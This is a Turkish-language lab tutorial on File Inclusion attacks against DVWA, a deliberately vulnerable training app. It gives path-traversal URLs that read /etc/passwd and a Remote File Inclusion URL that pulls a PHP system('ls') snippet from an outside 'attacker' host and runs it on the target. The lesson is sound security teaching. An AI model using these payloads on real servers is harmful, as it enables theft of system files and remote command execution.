Ders 8 - File Inclusion (Low Level) | |||||
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak File Inclusion saldırısında bulunulacaktır.
Dersin HedefiHedef sunucunun hassas verilerini hedef sunucunun web sitesi üzerinden oku.File Inclusion Nedir?File Inclusion, yani dosya dahil etme saldırısı saldırganın hedef web sitesine bir dosya dahil etmesine ya da hedef web sitesinin kendinde olan ama sunmadığı bir dosyayı görüntüleyebilmesine denir.File Inclusion açıklığını kullanan iki tür saldırı vardır: Bunlardan birincisi Local File Inclusion diye adlandırılmaktadır, ikincisi ise Remote File Inclusion diye adlandırılmaktadır. Local File Inclusion saldırısı hedef sitenin barındığı sunucudaki ziyaretçilere sunulmamış dosyanın hedef site üzerinden görüntülenebilmesine denir. Remote File Inclusion saldırısı ise hedef siteye saldırganın kendi dosyasını (mesela shell dosyasını) görüntületmesine denir. File Inclusion Nasıl Yapılır?Bu başlık iki ayrı alt başlıkla devam edecektir: Local File Inclusion ve Remote File Inclusion diye. Fakat önce DVWA'nın bize sunduğu sayfayı bir inceleyelim. Öncelikle DVWA'nın File Inclusion sayfasına geçiş yapın:![]() Ardından tarayıcınızın adres çubuğunda görüntülenen bulunduğunuz sayfanın linkine bakın: http://localhost/dvwa/vulnerabilities/fi/?page=include.php ? işareti parametrelerin sıralanacağı kısmın başını ifade eder. = işareti parametreye değer atanacağını ifade eder. Yukarıdaki linkte bir tane parameter ve bir de onun değeri mevcuttur. Bu parametrenin ismi page, yani sayfadır. Değeri ise bir dosya ismidir. Şimdi ekranın sunduğu [file1.php], [file2.php] ve [file3.php] linklerine sırayla tıklayalım ve linkteki değişimi ve içerikteki değişimi gözlemleyelim: [file1.php] 'e tıklandığında: ![]() [file2.php] 'ye tıklandığında: ![]() [file3.php] 'e tıklandığında: ![]() Görüldüğü üzere page parametresi sırayla değişik 3 tane dosya ismi almaktadır ve aldığı değerlere göre içerik değiştirmektedir. Yani linkteki page parametresi içerik olarak yansıtılacak php dosyasını belirleyen bir dosya seçici olarak kullanılıyor. Bu seçim sonucunda mevcut sayfanın barındığı http://localhost/dvwa/vulnerabilities/fi/ dizinindeki bir dosya index.php’ye, yani hal-i hazırda görüntülüyor olduğumuz File Inclusion sayfasına dahil ediliyor. Bu mekanizmaya File Inclusion, yani Dosya Dahil Etme denmektedir. Bu gözlemler sonrası şimdi saldırı aşamasına geçelim. Local File Inclusion Yukarıda bahsedilen File Inclusion mekanizması üzerinden acaba Local File Inclusion saldırısı gerçekleştirebilir miyiz? Yani mesela linux sunucularında tutulan /etc dizini altındaki passwd gibi hassas bir dosyanın içeriğini sitenin linkindeki parametre değerini oynayarak sayfaya seçtirtip ekrana yansıtabilir miyiz? Eğer güvenlik önlemi alınmamışsa cevap evet. Madem URL'nin parametresi sunucuda bulunan dosyaların isimlerini alıyor ve buna göre ilgili dosyanın içeriğini ekrana yansıtıyor. O zaman bunu sunucuda kullanıcı adlarının ve detaylarının tutulduğu dosyayı ekrana yansıtmak maksadıyla kullanmayı deneyelim. Bulunduğumuz dizin şudur (Linux üzerinde DVWA'yı çalıştırıyor olduğunuz varsayıldı): /var/www/dvwa/vulnerabilities/fi/ Yukarıdaki dizin şu an görüntülüyor olduğumuz sayfanın dizinidir. Bizim hedefimiz /etc dizinindeki passwd dosyasına ulaşmaktır. Çıkmamız ve dallanmamız gereken yolları daha iyi kavrayabilmeniz için linux sistemlerin dosya hiyerarşisine bakalım. ![]() Görüldüğü üzere Linux’ta etc klasörü var klasörünün bulunduğu dizindedir (havuzdadır). Dolayısıyla bizim bulunduğumuz /var/www/dvwa/vulnerabilities/fi/ dizininden var klasörüne geçebilmemiz için birkaç kez üst dizine çıkmamız gerekir. Yani var klasörüne varana kadar üst dizine çıkmalıyız: fi ../ vulnerabilities ../ dvwa ../ www ../ var ../ Böylece anlarız ki 5 tane ../ komutundan kullanırsak var’ın yer aldığı havuza, yani kök dizine ulaşırız. Eğer görüntülüyor olduğunuz sayfanın linkindeki page parametresine değer olarak ../../../../../ eklersek fi klasörünün içinden çıkıp taaa var klasörünün yer aldığı klasör havuzuna erişiriz. Sıradaki işlem var klasörünün sibling’i (kardeşi) olan etc klasörüne dallanmaktır. Bunun için /etc/ dizini eklenir ve sonrasında etc klasörü içerisinde barınan dosyanın ismi eklenir: ../../../../../etc/passwd Böylece http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd linkini enter'ladığımızda ekrana kullanıcı adı, kullanıcıların ait oldukları gruplar gibi bilgiler, yani passwd dosyasının içeriği yansıtılır. Aşağıda nasıl göründüğünü görebilirsiniz. ![]() Böylece Local File Inclusion saldırısını gerçekleştirmiş olduk. Edinilen kullanıcı adları bir Brute Force ve Dictionary saldırılarında kullanılabilir ve böylelikle hedef web sitesinin sunucusuna sızılabilir. Local File Inclusion (LFI) açığı ile başka kritik dosyalar da okunabilir. Mesela log dosyaları: access.log , error.log gibi. İş tamamen hedef sistemin klasör yapısını bilmeye bakıyor. Klasör yapısını ezberlemeye çalışmayın. Gerçi bu tip şeylerle meşgul oldukça bu ezber kendiliğinden geliyor ama en basitinden bilgisayarınızda bir linux sistemi açıp dilediğiniz kritik dosyayı sisteme CTRL+F ile arattırabilirsiniz. Böylece bulduğunuz dizini bu dersin URL’sindeki parametreye değer olarak koyup seçtiğiniz dosyanın içeriğini ekrana yansıttırabilirsiniz. [*] Ek Bilgi: LFI açıklığı üzerinden hedef sunucudaki dosyalara ulaşma ve ekranda görüntüleme işleminde relative path (göreceli üst dizine çıkma) karakterleri (yani ../../'ler) yerine absolute path (tam yol) alternatif yöntemi de uygulanabilir. Örneğin; /etc/passwd dersek, ![]() şeklinde yine aynı sonuca ulaşabiliriz. Ayrıyetten relative path (göreceli üst dizine çıkma) karakterleri (../) tercih edildiğinde milimetrik hesap etmek şart olmayabilir. ../ karakterlerini olabildiğince fazla girerek mantıksal olarak işletim sistemlerinde sistemsel kök dizinin daha yukarısı olmadığı için ne kadar fazla üst dizin girilirse girilsin hep en üst dizinde zaten bulumuş olacağız. Dolayısıyla bundan hareketle; ../../../../../../../../../../../../../../../../../../../etc/passwd dersek ![]() şeklinde yine /etc/passwd dosyasına erişme ve içeriğini okuma yapabiliriz. Remote File Inclusion (RFI) RFI saldırısı tıpkı LFI saldırısının kullandığı güvenlik zafiyeti olan File Inclusion açığından faydalanır. İşleyiş aynıdır. Fakat bu sefer ekrana dahil edilecek sayfa hedef sitenin sunucusunda yer alan dosya değil de harici bir dosya (yani saldırganın kendi dosyası) olacaktır. Ayrıyetten bu dosya uzantısında ufak bir numara yapılması gerekecektir. Diyelim ki rfi gereği kullanılacak remote system'da (diğer ifadeyle saldırgan sunucu'da) şu içerikte bir dosya var: <pre> <?php system("ls"); ?> </pre> Bu dosya içeriğine bakacak olursak bir php dosyasıdır. Fakat bu dosyayı php olarak saldırgan sunucuda bulundurup bu şekilde url'le hedef web sunucusuna dahil etmeye çalışırsanız dosya, saldırgan sunucuda çalışıp html çıktı üretip öyle hedef web sunucuya gidecektir ve orada yerleşip arayüze bize çıktı olarak yansıyacaktır. Yani saldırgan, kodunu kendi sisteminde çalıştırıp çıktısını rfi yoluyla hedef web sunucuya dahil etmiş olacaktır ve kendi çıktısını görmüş olacaktır. Halbuki biz istiyoruz ki saldırgan, kodunu hedef web sunucusuna olduğu gibi gönderebilsin ve hedef web sunucusunda çalışıp o sunucunun çıktısını görebilsin. İşte bu nedenle saldırgan, sunucusundaki dosyayı txt olarak bulundurur ve onun url'ini hedef web uygulamasına rfi yoluyla verir. Böylece saldırgan sunucudaki dosya, çalışmadan (yani html çıktı üretmeden) olduğu gibi, kodlar hedef web uygulamasına rfi yoluyla verilecektir. Hedef web sunucu kodları çalıştırıp ekrana basacaktır. Hedef web sunucuda bu yolla remote code execution vari bir keyfi komut çalıştırma, çıktısını alma ve aksiyon alma işlemlerini yürütebileceğiz. http://localhost/dvwa/vulnerabilities/fi/?page=http://www.birsiteadi.com/dosya.txt page parametresi LFI saldırısında hedef web sitesinin sunucularında barınan bir dosyanın dizin adresini alıyorken bu sefer harici bir link almaktadır. Saldırgan bu saldırı kodunu (özel hazırlanmış url'i) tarayıcının adres çubuğuna girip ENTER'landığında ekrana harici dosyanın içeriğinin çıktısı (hedef web sunucuda çalışan bir sistem komutu çıktısı) yansımış olacaktır: Saldırgan Sunucu: http://www.includekarabuk.com/ Harici Dosya URL'i: http://www.includekarabuk.com/ki taplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt Sizlerin de saldırgan sunucu simulasyonu adına kullanabileceğiniz saldırgan sunucu, dosya, konumu ve içeriği şöyledir; ![]() Saldırgan hedef web uygulamasına rfi yoluyla bu dosyayı dahil etmek için şöyle bir url hazırlar. Saldırgan Tarafından Özel Hazırlanmış URL: http://localhost/dvwa/vulnerabilities/fi/?page=http://www.includeka rabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt Böylece http://localhost/dvwa/vulnerabilities/fi/?page=http://www.includeka rabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt linkini girdiğimizde ekrana hedef web uygulamasının sunucusunda çalışan "ls" komutu çıktısı yansıyacaktır: (Saldırı öncesi) ![]() (Saldırı Sonrası) ![]() Böylece saldırgan sunucudaki dosyaya konulacak çeşit çeşit sistem komutları ile rfi yoluyla hedef web sunucusunda keyfi komutlar çalıştırıp çıktıları alınabilir ve aksiyonlar alabiliriz. [*] Ek Bilgi: a) rfi_denemesi.txt Hakkında Dosya, uzak sistemde txt olarak bulunduğundan olduğu gibi hedef web sunucusuna dahil edilir. Dahil edilen dosyanın içeriği hedef web sunucusunun php script'i içerisinde kalır. Örn; Saldırgan Sunucu:
deneme.txt
<pre><?php system("ls"); ?></pre> Hedef Sunucu:
rfiZafiyetliWebSayfasi.php
<?php // ... // web sunucu kodları // ... include("saldirganSunucu.com/deneme.txt"); // ... // web sunucu kodları // ... ?> Yani dahil edilen dosya hedef web sunucunun RAM'inde konumlanır ve sunucudaki web uygulamasının web sayfası içerisinde açılarak blok halinde yerleşir. Bu blok, php script'i içerisinde olduğundan ve bloktaki veri php script'iyse php olarak çalışabilecektir. Dolayısıyla ekleyeceğimiz bloğa konulacak çıktı veren bir php komutuyla ekranımızda hedef sunucuda çalıştırdığımız kodların çıktısını görebileceğiz. b) rfi_denemesi.php Hakkında Dosya uzak sistemde (saldırgan sistemde) php olarak bulunduğundan çalışıp çıktı ürettikten sonra bu çıktı havada hedef web sunucuya gidecektir ve o şekilde dahil olacaktır. Dolayısıyla hedef web sunucusuna, saldırgan sistemde çıktısı oluşturulmuş blok yerleşeceğinden biz hedef web sitesi arayüzünde kendi sistemimizde çalışmış kodların çıktısını görmüş olacağız. Yani ayna gibi. Saldırgan Sunucu:
deneme.php
<pre><?php system("ls"); ?></pre> Hedef Sunucu:
rfiZafiyetliWebSayfasi.php
<?php // ... // web sunucu kodları // ... include("saldirganSunucu.com/deneme.php"); // ... // web sunucu kodları // ... ?> include(saldirganSunucu/deneme.php) ile saldırgan sunucunun dosya çıktısı dahil edilir. Çünkü; web sunucular da bilgisayardır. Yani web sunucu başına geçen adam tarayıcı açtığında adres çubuğuna saldirganSunucu.com/deneme.php girdiğinde (talep ettiğinde) gelen sonuç saldirgansunucu.com'da derlenmiş (//yorumlanmış) html çıktı olacaktır. Dolayısıyla web uygulaması da saldirgansunucu.com/deneme.php url'ini aldığında ve talebini yaptığında alacağı http yanıt saldirgansunucu.com'da derlenmiş html çıktı olacaktır ve kod bloğu içerisine onu dahil edecektir. Halbuki arzulanan şey kendi sistemimizde çalışmış kodların çıktısını hedef web sitesi arayüzünde görmek değil, kodların hedef web sunucusunda çalışıp orada oluşan çıktıyı web sitesi arayüzünde görüntülemektir. Dolayısıyla bu sayede ancak hedef web sunucusunda remote code execution vari bir şekilde kod çalıştırıp çıktılarını görebilir ve aksiyonlar alabiliriz. EkstraRFI saldırısını txt uzantılı değil de php uzantılı dosya olarak tekrarlayacak olursak özel hazırlanmış bir önceki URL
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://www.inclu
dekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt yerine
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://www.inclu
dekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.php şeklinde düzenlenmelidir (ki bu dosya da ayrıca saldırgan sunucu konumundaki includekarabuk.com'da gösterilen dizinde yer almaktadır, aynı içeriktedir ve sizlerin de kullanımı serbesttir) bu durumda; ls komutunun yer aldığı php dosyası sizin yerel DVWA web uygulamanız tarafından talep edildiğinde includekarabuk.com'dan gelecek http yanıtı sizlere includekarabuk.com'da çalışmış ls komutu çıktısını verecektir ve DVWA bu çıktıyı dahil edip ekrana basacaktır. (Saldırgan sunucudaki rfi_denemesi.php) ![]() Not: Eğer resmi anlamlandıramadıysanız bu şu anlama geliyor; includekarabuk.com'daki rfi_denemesi.php dosyasındaki ls komutu bulunduğu dizindeki dosyaları ekrana sıralamıştır. (Saldırı) ![]() Bu gördüğünüz gibi bizim istediğimiz bir şey değildir. Biz kendi sistemimizde çalışmış kodların çıktısını hedef web sitesi arayüzünde görmek değil, kodların hedef web sunucusunda çalışıp orada oluşan çıktıyı web sitesi arayüzünde görüntülemek istemekteyiz. Ancak bu sayede, hedef web sunucusunda remote code execution vari keyfi kod çalıştırma, çıktı alma ve aksiyonlarda bulunma gerçekleştirebiliriz. Fakat eğer bu php uzantılı dosya tercih edilirse rfi yoluyla yapabileceğimiz en iyi şey sayfa arayüzünü tahrip edebildiğimizi (deface edebildiğimizi) göstermektir. Bu ise çoğu zaman kritiklik arz etmez. Fakat prestij açısından kritikliği belirlenebilir. Yararlanılan Kaynak https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion |
|||||
![]() |
|||||
|
|||||
Yorumlar |
|||||
|
|||||
|
|||||
Yorum Ekle | |||||